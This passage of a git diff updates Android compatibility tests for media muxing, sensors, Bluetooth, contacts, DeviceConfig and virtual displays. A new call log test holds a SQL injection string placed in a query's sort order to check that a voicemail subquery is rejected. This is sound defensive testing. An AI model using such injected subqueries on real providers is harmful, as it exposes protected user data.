- !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
- Assume.assumeTrue("TODO(b/146923287)",
- !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
- assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+ public void testEmptyVideoTrack() {
+ for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+ if (!mMime.startsWith("video/")) continue;
+ if (!isMimeContainerPairValid(format)) continue;
+ if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+ try {
+ MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+ MediaFormat mediaFormat = new MediaFormat();
+ mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+ mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+ mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+ mediaMuxer.addTrack(mediaFormat);
+ mediaMuxer.start();
+ mediaMuxer.stop();
+ mediaMuxer.release();
+ } catch (Exception e) {
+ fail("testEmptyVideoTrack : unexpected exception : " + e.getMessage());
+ }
+ }
+ }
+
+ @Test
+ public void testEmptyAudioTrack() {
+ for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+ if (!mMime.startsWith("audio/")) continue;
+ if (!isMimeContainerPairValid(format)) continue;
+ if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+ try {
+ MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+ MediaFormat mediaFormat = new MediaFormat();
+ mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+ mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 12000);
+ mediaFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 2);
+ mediaMuxer.addTrack(mediaFormat);
+ mediaMuxer.start();
+ mediaMuxer.stop();
+ mediaMuxer.release();
+ } catch (Exception e) {
+ fail("testEmptyAudioTrack : unexpected exception : " + e.getMessage());
+ }
+ }
+ }
+
+ @Test
+ public void testEmptyMetaDataTrack() {
+ for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+ if (!mMime.startsWith("application/")) continue;
+ if (!isMimeContainerPairValid(format)) continue;
+ try {
+ MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+ MediaFormat mediaFormat = new MediaFormat();
+ mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+ mediaMuxer.addTrack(mediaFormat);
+ mediaMuxer.start();
+ mediaMuxer.stop();
+ mediaMuxer.release();
+ } catch (Exception e) {
+ fail("testEmptyMetaDataTrack : unexpected exception : " + e.getMessage());
+ }
+ }
+ }
+
+ @Test
+ public void testEmptyImageTrack() {
+ for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
+ if (!mMime.startsWith("image/")) continue;
+ if (!isMimeContainerPairValid(format)) continue;
+ try {
+ MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
+ MediaFormat mediaFormat = new MediaFormat();
+ mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
+ mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
+ mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+ mediaMuxer.addTrack(mediaFormat);
+ mediaMuxer.start();
+ mediaMuxer.stop();
+ mediaMuxer.release();
+ } catch (Exception e) {
+ fail("testEmptyImageTrack : unexpected exception : " + e.getMessage());
+ }
+ }
}
}
}
diff --git a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
index 00defeb..6915db3 100644
--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -55,13 +55,12 @@
List<Sensor> list = mSensorManager.getSensorList(Sensor.TYPE_ALL);
List<String> errors = new ArrayList<String>();
for (Sensor s : list) {
- // skip vendor sensor types, one-shot and on-change sensors.
- if (s.getType() >= Sensor.TYPE_DEVICE_PRIVATE_BASE ||
- s.getReportingMode() == Sensor.REPORTING_MODE_ONE_SHOT ||
- s.getReportingMode() == Sensor.REPORTING_MODE_ON_CHANGE) {
+ // Only test sensor additional info for Accelerometer, Gyroscope and Magnetometer.
+ if (s.getType() != Sensor.TYPE_ACCELEROMETER &&
+ s.getType() != Sensor.TYPE_GYROSCOPE &&
+ s.getType() != Sensor.TYPE_MAGNETIC_FIELD) {
continue;
}
-
if (!s.isAdditionalInfoSupported()) {
// check SensorAdditionalInfo is supported for Automotive sensors.
if (getContext().getPackageManager().hasSystemFeature(
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 065441a..be5d6d7 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -80,6 +80,7 @@
private boolean mIsAutomotive;
private boolean mHasHifiSensors;
+ private boolean mHasProximitySensor;
private boolean mVrModeHighPerformance;
private SensorManager mSensorManager;
@@ -89,6 +90,7 @@
mSensorManager = (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
mIsAutomotive = pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
mHasHifiSensors = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
+ mHasProximitySensor = pm.hasSystemFeature(PackageManager.FEATURE_SENSOR_PROXIMITY);
mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
}
@@ -215,7 +217,7 @@
}
public void testProximityFifoLength() throws Throwable {
- if (!mHasHifiSensors) return;
+ if (!mHasHifiSensors || !mHasProximitySensor) return;
checkMinFifoLength(Sensor.TYPE_PROXIMITY, PROXIMITY_SENSOR_MIN_FIFO_LENGTH);
}
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index f48ed77..f64bc75 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -37,6 +37,7 @@
import android.hardware.cts.helpers.sensorverification.EventGapVerification;
import android.hardware.cts.helpers.sensorverification.EventOrderingVerification;
import android.hardware.cts.helpers.sensorverification.EventTimestampSynchronizationVerification;
+import android.os.Build.VERSION_CODES;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.PowerManager;
@@ -44,6 +45,7 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
import junit.framework.Assert;
@@ -563,7 +565,11 @@
sensor.getResolution() <= maxResolution);
}
- if (SensorCtsHelper.hasMinResolutionRequirement(sensor)) {
+ // The minimum resolution requirement was introduced to the CDD in R so
+ // it's only possible to assert compliance for devices that release with
+ // R or later.
+ if (PropertyUtil.getFirstApiLevel() >= VERSION_CODES.R &&
+ SensorCtsHelper.hasMinResolutionRequirement(sensor)) {
float minResolution = SensorCtsHelper.getRequiredMinResolutionForSensor(sensor);
assertTrue("Resolution must be >= " + minResolution + ". Resolution =" +
sensor.getResolution() + " " + sensor.getName(),
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
index f23485f..efb863b 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -27,7 +27,8 @@
import android.app.AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED
import android.app.AppOpsManager.UID_STATE_TOP
import android.content.Intent
-import android.content.Intent.ACTION_APPLICATION_PREFERENCES
+import android.content.Intent.ACTION_INSTALL_PACKAGE
+import android.net.Uri
import android.os.SystemClock
import android.platform.test.annotations.AppModeFull
import androidx.test.platform.app.InstrumentationRegistry
@@ -258,7 +259,9 @@
fun noteFromTwoProxiesAndVerifyProxyInfo() {
// Find another app to blame
val otherAppInfo = context.packageManager
- .resolveActivity(Intent(ACTION_APPLICATION_PREFERENCES), 0)
+ .resolveActivity(Intent(ACTION_INSTALL_PACKAGE).addCategory(Intent.CATEGORY_DEFAULT)
+ .setDataAndType(Uri.parse("content://com.example/foo.apk"),
+ "application/vnd.android.package-archive"), 0)
?.activityInfo?.applicationInfo
assumeNotNull(otherAppInfo)
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
index 2eab364..cd24db4 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
@@ -50,11 +50,6 @@
public void setUp() throws Exception {
super.setUp();
- IntentFilter filter = new IntentFilter();
- filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
- filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
- mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
-
mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_BLUETOOTH);
mAdapterNameChangedlock = new ReentrantLock();
@@ -165,11 +160,17 @@
BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
assertTrue(BTAdapterUtils.enableAdapter(adapter, mContext));
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
+ filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
+ mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
+
String name = adapter.getName();
assertNotNull(name);
// Check renaming the adapter
String genericName = "Generic Device 1";
+ mIsAdapterNameChanged = false;
assertTrue(adapter.setName(genericName));
assertTrue(waitForAdapterNameChange());
mIsAdapterNameChanged = false;
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index decee36..017d7fa 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -34,6 +34,7 @@
import android.os.Message;
import android.os.Parcel;
import android.os.Process;
+import android.os.UserHandle;
import android.provider.Settings;
import android.telephony.AccessNetworkConstants;
import android.telephony.CellInfo;
@@ -448,7 +449,7 @@
return Process.INVALID_UID;
}
})
- .filter(uid -> !specialUids.contains(uid))
+ .filter(uid -> !specialUids.contains(UserHandle.getAppId(uid)))
.collect(Collectors.toList());
if (nonSpecialPackages.size() > 1) {
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
new file mode 100644
index 0000000..8f55aa0
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.test.InstrumentationTestCase;
+
+public class CallLogProviderTest extends InstrumentationTestCase {
+ private ContentResolver mContentResolver;
+ private ContentProviderClient mProvider;
+
+ private static final String TEST_NUMBER = "5551234";
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+ mProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
+ }
+
+ public void testNoSubqueries() throws Exception {
+ // Add a single call just to make sure the call log has something inside
+ ContentValues values = new ContentValues();
+ values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+ values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+ values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+ values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+
+ mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+ // Attempt to do a query that contains a subquery -- this should fail since this test does
+ // not have READ_VOICEMAIL.
+ try {
+ Cursor c = mProvider.query(Calls.CONTENT_URI, null, CallLog.Calls.NUMBER + " = ?",
+ new String[]{TEST_NUMBER},
+ "date DESC LIMIT (SELECT count(*) + 1 FROM calls WHERE type = 4");
+ assertEquals(0, c.getCount());
+ } catch (IllegalArgumentException e) {
+ // expected/tolerated
+ }
+ }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
index fa0572c..2ec7ec8 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -31,6 +31,8 @@
import android.test.AndroidTestCase;
import android.test.MoreAsserts;
+import com.android.compatibility.common.util.CddTest;
+
public class ContactsContract_RawContactsTest extends AndroidTestCase {
private ContentResolver mResolver;
private ContactsContract_TestDataBuilder mBuilder;
@@ -150,6 +152,7 @@
assertEquals("1", result[1]);
}
+ @CddTest(requirement = "3.18/C-1-5")
public void testRawContactDelete_localDeleteRemovesRecord() {
String name = RawContacts.getLocalAccountName(mContext);
String type = RawContacts.getLocalAccountType(mContext);
@@ -201,6 +204,7 @@
* config_rawContactsLocalAccountName and config_rawContactsLocalAccountType resource strings
* defined in platform/frameworks/base/core/res/res/values/config.xml.
*/
+ @CddTest(requirement="3.18/C-1-1,C-1-2,C-1-3")
public void testRawContactCreate_noAccountUsesLocalAccount() {
// Save a raw contact without an account.
long rawContactid = RawContactUtil.insertRawContact(mResolver, null);
@@ -218,6 +222,31 @@
RawContactUtil.delete(mResolver, rawContactid, true);
}
+ /**
+ * The local account is the default if a raw contact insert uses null for
+ * the {@link RawContacts#ACCOUNT_NAME} and {@link RawContacts#ACCOUNT_TYPE}.
+ *
+ * <p>See {@link #testRawContactCreate_noAccountUsesLocalAccount()}
+ */
+ @CddTest(requirement="3.18/C-1-1,C-1-2,C-1-3")
+ public void testRawContactCreate_nullAccountUsesLocalAccount() throws Exception {
+ // Save a raw contact using the default local account
+ TestRawContact rawContact = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, (String) null)
+ .with(RawContacts.ACCOUNT_NAME, (String) null)
+ .insert();
+
+ String[] row = RawContactUtil.queryByRawContactId(mResolver, rawContact.getId(),
+ new String[] {
+ RawContacts.ACCOUNT_NAME, RawContacts.ACCOUNT_TYPE
+ });
+
+ // When the raw contact is inserted into the default local account the contact is created
+ // in the local account.
+ assertEquals(RawContacts.getLocalAccountName(mContext), row[0]);
+ assertEquals(RawContacts.getLocalAccountType(mContext), row[1]);
+ }
+
public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
index ceaee73..9613b14 100755
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
@@ -26,6 +26,8 @@
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.MediumTest;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -109,6 +111,7 @@
* {@link android.provider.ContactsContract.RawContacts#ACCOUNT_TYPE} that do not correspond
* to an added account will be removed but this should not be done for the local account.
*/
+ @CddTest(requirement="3.18/C-1-4")
public void testAccountRemoval_doesNotDeleteLocalAccountContacts() {
mAccountManager.addAccountExplicitly(ACCT_1, null, null);
ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
new file mode 100644
index 0000000..462ee62
--- /dev/null
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.deviceconfig.cts;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Executor;
+
+@RunWith(AndroidJUnit4.class)
+abstract class AbstractDeviceConfigTestCase {
+
+ static final Context CONTEXT = InstrumentationRegistry.getContext();
+ static final Executor EXECUTOR = CONTEXT.getMainExecutor();
+
+ static final String WRITE_DEVICE_CONFIG_PERMISSION = "android.permission.WRITE_DEVICE_CONFIG";
+ static final String READ_DEVICE_CONFIG_PERMISSION = "android.permission.READ_DEVICE_CONFIG";
+
+ // String used to skip tests if not support.
+ // TODO: ideally it would be simpler to just use assumeTrue() in the @BeforeClass method, but
+ // then the test would crash - it might be an issue on atest / AndroidJUnit4
+ private static String sUnsupportedReason;
+
+ /**
+ * Get necessary permissions to access and modify properties through DeviceConfig API.
+ */
+ @BeforeClass
+ public static void setUp() throws Exception {
+ if (CONTEXT.getUserId() != UserHandle.USER_SYSTEM
+ && CONTEXT.getPackageManager().isInstantApp()) {
+ sUnsupportedReason = "cannot run test as instant app on secondary user "
+ + CONTEXT.getUserId();
+ }
+ }
+
+ @Before
+ public void assumeSupported() {
+ assumeTrue(sUnsupportedReason, isSupported());
+ }
+
+ static boolean isSupported() {
+ return sUnsupportedReason == null;
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index 6d77ebb..a18bbca 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -16,6 +16,8 @@
package android.deviceconfig.cts;
+import androidx.test.InstrumentationRegistry;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
@@ -23,17 +25,13 @@
import android.provider.DeviceConfig.OnPropertiesChangedListener;
import android.provider.DeviceConfig.Properties;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.concurrent.Executor;
-@RunWith(AndroidJUnit4.class)
-public final class DeviceConfigApiPermissionTests {
+public final class DeviceConfigApiPermissionTests extends AbstractDeviceConfigTestCase {
private static final String NAMESPACE = "namespace";
private static final String NAMESPACE2 = "namespace2";
private static final String PUBLIC_NAMESPACE = "textclassifier";
@@ -41,16 +39,10 @@
private static final String KEY2 = "key2";
private static final String VALUE = "value";
- private static final String WRITE_DEVICE_CONFIG_PERMISSION =
- "android.permission.WRITE_DEVICE_CONFIG";
-
- private static final String READ_DEVICE_CONFIG_PERMISSION =
- "android.permission.READ_DEVICE_CONFIG";
-
- private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
-
@After
public void dropShellPermissionIdentityAfterTest() {
+ if (!isSupported()) return;
+
InstrumentationRegistry.getInstrumentation().getUiAutomation()
.dropShellPermissionIdentity();
}
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
index 1f6d96e..9fb039d 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
@@ -28,7 +28,6 @@
import android.provider.DeviceConfig.Properties;
import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.AfterClass;
@@ -41,8 +40,7 @@
import java.util.concurrent.Executor;
import java.util.concurrent.TimeUnit;
-@RunWith(AndroidJUnit4.class)
-public final class DeviceConfigApiTests {
+public final class DeviceConfigApiTests extends AbstractDeviceConfigTestCase {
private static final String NAMESPACE1 = "namespace1";
private static final String NAMESPACE2 = "namespace2";
private static final String EMPTY_NAMESPACE = "empty_namespace";
@@ -70,24 +68,16 @@
private static final float VALID_FLOAT = 456.789f;
private static final String INVALID_FLOAT = "34343et";
- private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
-
-
private static final long WAIT_FOR_PROPERTY_CHANGE_TIMEOUT_MILLIS = 2000; // 2 sec
private final Object mLock = new Object();
-
- private static final String WRITE_DEVICE_CONFIG_PERMISSION =
- "android.permission.WRITE_DEVICE_CONFIG";
-
- private static final String READ_DEVICE_CONFIG_PERMISSION =
- "android.permission.READ_DEVICE_CONFIG";
-
/**
* Get necessary permissions to access and modify properties through DeviceConfig API.
*/
@BeforeClass
public static void setUp() throws Exception {
+ if (!isSupported()) return;
+
InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
WRITE_DEVICE_CONFIG_PERMISSION, READ_DEVICE_CONFIG_PERMISSION);
}
@@ -97,6 +87,8 @@
*/
@After
public void cleanUp() throws Exception {
+ if (!isSupported()) return;
+
// first wait to make sure callbacks for SetProperties/SetProperty
// invoked in the test methods got emitted. So that the callbacks
// won't interfere with setPropertiesAndAssertSuccessfulChange invoked
@@ -114,6 +106,8 @@
*/
@AfterClass
public static void cleanUpAfterAllTests() {
+ if (!isSupported()) return;
+
deletePropertyThrowShell(NAMESPACE1, KEY1);
deletePropertyThrowShell(NAMESPACE2, KEY1);
deletePropertyThrowShell(NAMESPACE1, KEY2);
@@ -1096,4 +1090,4 @@
}
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/display/Android.bp b/tests/tests/display/Android.bp
index ef97a61..a6df5fc 100644
--- a/tests/tests/display/Android.bp
+++ b/tests/tests/display/Android.bp
@@ -28,6 +28,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
sdk_version: "test_current",
}
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index db57eed..a0a567e 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -28,16 +28,16 @@
import android.media.ImageReader;
import android.os.Bundle;
import android.os.Handler;
-import android.os.Looper;
import android.os.HandlerThread;
+import android.os.Looper;
import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
import android.test.AndroidTestCase;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.Display;
import android.view.Surface;
import android.view.ViewGroup.LayoutParams;
-import android.view.WindowManager;
import android.widget.ImageView;
import java.nio.ByteBuffer;
@@ -76,6 +76,9 @@
private HandlerThread mCheckThread;
private Handler mCheckHandler;
+ private static final int VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS = 1 << 9;
+ private static final int VIRTUAL_DISPLAY_FLAG_TRUSTED = 1 << 10;
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -116,6 +119,7 @@
* Ensures that an application can create a private virtual display and show
* its own windows on it.
*/
+ @SecurityTest
public void testPrivateVirtualDisplay() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, mSurface, 0);
@@ -139,6 +143,7 @@
* Ensures that an application can create a private presentation virtual display and show
* its own windows on it.
*/
+ @SecurityTest
public void testPrivatePresentationVirtualDisplay() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, mSurface,
@@ -163,6 +168,7 @@
* Ensures that an application can create a private virtual display and show
* its own windows on it where the surface is attached or detached dynamically.
*/
+ @SecurityTest
public void testPrivateVirtualDisplayWithDynamicSurface() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, null, 0);
@@ -190,6 +196,51 @@
assertDisplayUnregistered(display);
}
+ /**
+ * Ensures that {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS} will
+ * be clear if an application creates an virtual display without the
+ * flag {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_TRUSTED}.
+ */
+ @SecurityTest
+ public void testUntrustedSysDecorVirtualDisplay() throws Exception {
+ VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+ WIDTH, HEIGHT, DENSITY, mSurface,
+ VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS);
+ assertNotNull("virtual display must not be null", virtualDisplay);
+
+ Display display = virtualDisplay.getDisplay();
+ try {
+ // Verify that the created virtual display doesn't have flags
+ // FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS.
+ assertDisplayRegistered(display, Display.FLAG_PRIVATE);
+ assertEquals(mSurface, virtualDisplay.getSurface());
+
+ // Show a private presentation on the display.
+ assertDisplayCanShowPresentation("private presentation window",
+ display, BLUEISH, 0);
+ } finally {
+ virtualDisplay.release();
+ }
+ assertDisplayUnregistered(display);
+ }
+
+ /**
+ * Ensures that throws {@link SecurityException} when an application creates a trusted virtual
+ * display without holding the permission {@code ADD_TRUSTED_DISPLAY}.
+ */
+ @SecurityTest
+ public void testTrustedVirtualDisplay() throws Exception {
+ try {
+ VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+ WIDTH, HEIGHT, DENSITY, mSurface, VIRTUAL_DISPLAY_FLAG_TRUSTED);
+ } catch (SecurityException e) {
+ // Expected.
+ return;
+ }
+ fail("SecurityException must be thrown if a trusted virtual display is created without"
+ + "holding the permission ADD_TRUSTED_DISPLAY.");
+ }
+
private void assertDisplayRegistered(Display display, int flags) {
assertNotNull("display object must not be null", display);
assertTrue("display must be valid", display.isValid());
diff --git a/tests/tests/jni/Android.bp b/tests/tests/jni/Android.bp
index 8165a9f..5895cf3 100644
--- a/tests/tests/jni/Android.bp
+++ b/tests/tests/jni/Android.bp
@@ -26,6 +26,7 @@
static_libs: [
"ctstestrunner-axt",
"androidx.test.rules",
+ "compatibility-device-util-axt",
],
jni_libs: [
"libjni_test_dlclose",
diff --git a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
index 4742796b..e2bbcd7 100644
--- a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
@@ -16,7 +16,9 @@
package android.jni.cts;
+import android.os.Build;
import android.os.Process;
+import com.android.compatibility.common.util.PropertyUtil;
import java.io.File;
import java.io.IOException;
@@ -317,9 +319,11 @@
* dlopen(3) any of the public lib via file name (non-absolute path) should succeed.
*/
public void test_dlopenPublicLibraries() {
- String error = LinkerNamespacesHelper.runDlopenPublicLibraries();
- if (error != null) {
- fail(error);
+ if (PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.R)) {
+ String error = LinkerNamespacesHelper.runDlopenPublicLibraries();
+ if (error != null) {
+ fail(error);
+ }
}
}
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 1af904f..8311957 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -243,6 +243,7 @@
}
@RestrictedBuildTest
+ @RequiresDevice
public void testEcAttestation_DeviceLocked() throws Exception {
String keystoreAlias = "test_key";
Date now = new Date();
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
index 7a2671c..2a870b4 100644
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
